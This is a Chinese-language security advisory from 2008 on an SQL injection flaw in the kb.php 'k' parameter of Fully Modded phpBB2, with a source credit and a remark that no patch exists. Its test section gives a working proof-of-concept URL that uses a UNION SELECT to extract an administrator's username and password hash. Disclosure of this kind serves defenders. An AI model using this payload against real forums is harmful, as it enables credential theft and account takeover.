发布日期：2008-03-12
更新日期：2008-03-17

受影响系统：

phpbbfm Fully Modded phpBB2 80220

描述：

---

BUGTRAQ  ID: 28225

Fully Modded PHPBB2是一款基于PHP的论坛程序。

PHPBB2在处理用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞执行SQL注入攻击。

如果将mode设置为article且设置了page_num的话，Fully Modded PHPBB2的kb.php文件没有正确地验证k参数便将其用到了SQL查询中，这允许攻击者通过提交特制的SQL查询请求执行SQL注入攻击。成功攻击可能允许攻击者检索管理员用户名和口令哈希，但要求知道数据库表前缀。

<*来源：TurkishWarriorr （turkish-warriorr@hotmail.com）
  
  链接：http://secunia.com/advisories/29339/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.example.com/kb.php?mode=article&amp;k=-1+union+select+1,1,concat(user_id,char(58),username,char(58),user_password),4,5,6,7,8,9,10,11,12,13+from+phpbb_users+where+user_id+=2&amp;page_num=2&amp;cat=1

建议：

---

厂商补丁：

phpbbfm
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://phpbbfm.net/support/index_fm.php

浏览次数：4722
严重程度：0（网友投票）